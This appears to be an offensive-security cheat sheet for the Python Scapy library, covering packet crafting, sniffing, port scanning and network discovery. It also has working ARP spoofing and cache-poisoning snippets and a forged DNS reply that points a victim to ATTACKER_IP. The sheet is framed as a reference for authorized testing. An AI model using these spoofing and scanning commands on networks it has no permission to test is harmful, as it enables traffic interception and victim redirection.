← All cheat sheets

SCAPY

Authorized use only. Offensive reference for systems you own or are explicitly permitted to test. You are responsible for staying within the law.

Python packet crafting and manipulation library. Build, send,
sniff, and decode network packets at any protocol layer.

INSTALLATION#

pip install scapy
# Or: sudo apt install python3-scapy

# Start interactive console
sudo scapy

PACKET BUILDING#

from scapy.all import *

# Layer stacking (use / operator)
pkt = IP(dst="10.10.10.5")/TCP(dport=80)
pkt = Ether()/IP(dst="10.10.10.5")/TCP(dport=80, flags="S")
pkt = IP(dst="10.10.10.5")/ICMP()
pkt = IP(dst="10.10.10.5")/UDP(dport=53)/DNS(rd=1, qd=DNSQR(qname="example.com"))

# View packet
pkt.show()                                  # Detailed view
pkt.summary()                               # One-line summary
ls(pkt)                                     # List all fields
hexdump(pkt)                                # Hex dump

# Modify fields
pkt[IP].src = "192.168.1.100"
pkt[TCP].dport = 443
pkt[IP].ttl = 128

COMMON PACKET TYPES#

# ICMP Echo (ping)
ping = IP(dst="10.10.10.5")/ICMP()

# TCP SYN
syn = IP(dst="10.10.10.5")/TCP(dport=80, flags="S")

# TCP SYN with source port
syn = IP(dst="10.10.10.5")/TCP(sport=RandShort(), dport=80, flags="S")

# TCP ACK
ack = IP(dst="10.10.10.5")/TCP(dport=80, flags="A")

# TCP FIN
fin = IP(dst="10.10.10.5")/TCP(dport=80, flags="F")

# UDP
udp = IP(dst="10.10.10.5")/UDP(dport=53)

# DNS query
dns = IP(dst="8.8.8.8")/UDP(dport=53)/DNS(rd=1, qd=DNSQR(qname="example.com"))

# ARP request
arp = Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(pdst="10.10.10.0/24")

# HTTP GET (raw)
http = IP(dst="10.10.10.5")/TCP(dport=80)/"GET / HTTP/1.1\r\nHost: 10.10.10.5\r\n\r\n"

SENDING PACKETS#

# Layer 3 (IP level, auto-routing)
send(pkt)                                   # Send one packet
send(pkt, count=5)                          # Send 5 times
send(pkt, loop=1, inter=1)                  # Loop with 1s interval

# Layer 2 (Ethernet level, specify interface)
sendp(pkt, iface="eth0")                    # Send at L2
sendp(pkt, count=3)

# Send and receive response
resp = sr1(pkt)                             # Send/receive one
resp = sr1(pkt, timeout=2)                  # With timeout
ans, unans = sr(pkt)                        # Send/receive multiple
ans, unans = srp(pkt, iface="eth0")         # L2 send/receive

SNIFFING#

# Basic sniff
pkts = sniff(count=10)                      # Capture 10 packets
pkts = sniff(timeout=30)                    # Capture for 30 seconds
pkts = sniff(iface="eth0", count=50)        # Specific interface

# With filter (BPF syntax)
pkts = sniff(filter="tcp port 80", count=20)
pkts = sniff(filter="icmp", count=10)
pkts = sniff(filter="host 10.10.10.5", count=50)
pkts = sniff(filter="udp port 53", count=10)

# With callback function
def process(pkt):
    if pkt.haslayer(TCP):
        print(f"{pkt[IP].src}:{pkt[TCP].sport} -> {pkt[IP].dst}:{pkt[TCP].dport}")

sniff(filter="tcp", prn=process, count=20)

# Save capture
wrpcap("capture.pcap", pkts)

# Read capture
pkts = rdpcap("capture.pcap")

PORT SCANNING#

# SYN scan (single port)
resp = sr1(IP(dst="10.10.10.5")/TCP(dport=80, flags="S"), timeout=1)
if resp and resp[TCP].flags == 0x12:        # SYN-ACK
    print("Port 80 is open")

# SYN scan (range)
ans, unans = sr(IP(dst="10.10.10.5")/TCP(dport=(1,1024), flags="S"), timeout=2)
for s, r in ans:
    if r[TCP].flags == 0x12:
        print(f"Port {r[TCP].sport} is open")

# XMAS scan
ans, unans = sr(IP(dst="10.10.10.5")/TCP(dport=80, flags="FPU"), timeout=1)

# NULL scan
ans, unans = sr(IP(dst="10.10.10.5")/TCP(dport=80, flags=""), timeout=1)

# ACK scan (firewall detection)
ans, unans = sr(IP(dst="10.10.10.5")/TCP(dport=80, flags="A"), timeout=1)

NETWORK DISCOVERY#

# ARP scan (local network)
ans, unans = srp(Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(pdst="10.10.10.0/24"),
                  timeout=2, iface="eth0")
for s, r in ans:
    print(f"{r[ARP].psrc} is at {r[ARP].hwsrc}")

# ICMP scan
ans, unans = sr(IP(dst="10.10.10.0/24")/ICMP(), timeout=2)
for s, r in ans:
    print(f"{r[IP].src} is alive")

# Traceroute
ans, unans = sr(IP(dst="8.8.8.8", ttl=(1,20))/ICMP(), timeout=2)
for s, r in ans:
    print(f"TTL {s[IP].ttl}: {r[IP].src}")

# Or built-in
traceroute("8.8.8.8")

ARP ATTACKS#

# ARP spoofing (MITM)
# Tell target that attacker is the gateway
send(ARP(op=2, pdst="10.10.10.5", hwdst="TARGET_MAC",
         psrc="10.10.10.1"), loop=1, inter=2)

# Tell gateway that attacker is the target
send(ARP(op=2, pdst="10.10.10.1", hwdst="GW_MAC",
         psrc="10.10.10.5"), loop=1, inter=2)

# ARP cache poisoning
sendp(Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(op=2, psrc="10.10.10.1",
      hwsrc="AA:BB:CC:DD:EE:FF"), loop=1)

DNS SPOOFING#

# DNS response crafting
dns_resp = IP(dst="VICTIM_IP")/UDP(dport=SRC_PORT)/DNS(
    id=QUERY_ID, qr=1, aa=1, rd=1,
    qd=DNSQR(qname="example.com"),
    an=DNSRR(rrname="example.com", rdata="ATTACKER_IP"))

PACKET ANALYSIS#

# Inspect captured packets
pkts = rdpcap("capture.pcap")
pkts.summary()                              # Summary of all packets
pkts[0].show()                              # First packet details

# Filter packets
tcp_pkts = [p for p in pkts if p.haslayer(TCP)]
http_pkts = [p for p in pkts if p.haslayer(TCP) and p[TCP].dport == 80]
dns_pkts = [p for p in pkts if p.haslayer(DNS)]

# Extract data
for pkt in pkts:
    if pkt.haslayer(Raw):
        print(pkt[Raw].load)                # Raw payload

# Sessions
sessions = pkts.sessions()
for session_key, session_pkts in sessions.items():
    print(f"{session_key}: {len(session_pkts)} packets")

TCP FLAGS REFERENCE#

Flag    Value    Name            Scapy
----    -----    ----            -----
S       0x02     SYN             flags="S"
A       0x10     ACK             flags="A"
F       0x01     FIN             flags="F"
R       0x04     RST             flags="R"
P       0x08     PSH             flags="P"
U       0x20     URG             flags="U"
SA      0x12     SYN-ACK         flags="SA"
FA      0x11     FIN-ACK         flags="FA"
PA      0x18     PSH-ACK         flags="PA"
FPU     0x29     XMAS            flags="FPU"

USEFUL FUNCTIONS#

ls()                                        # List all protocols
ls(IP)                                      # List IP fields
ls(TCP)                                     # List TCP fields
lsc()                                       # List all commands
conf.iface                                  # Default interface
conf.route                                  # Routing table
get_if_hwaddr("eth0")                       # Get MAC address
getmacbyip("10.10.10.1")                    # ARP lookup
RandShort()                                 # Random port
RandIP()                                    # Random IP
fuzz(IP()/TCP())                            # Fuzz all fields

TIPS#

  - Run scapy as root (raw socket access required)
  - Use sr1() for single request-response (simplest)
  - BPF filters in sniff() reduce capture overhead
  - wrpcap/rdpcap for Wireshark-compatible captures
  - Combine with pwntools for exploit development
  - fuzz() randomizes all fields for protocol fuzzing
  - Layer stacking with / is the core concept
  - Check resp[TCP].flags == 0x12 for open ports (SYN-ACK)
  - ARP attacks only work on local network segments
  - Use inter= parameter to control send rate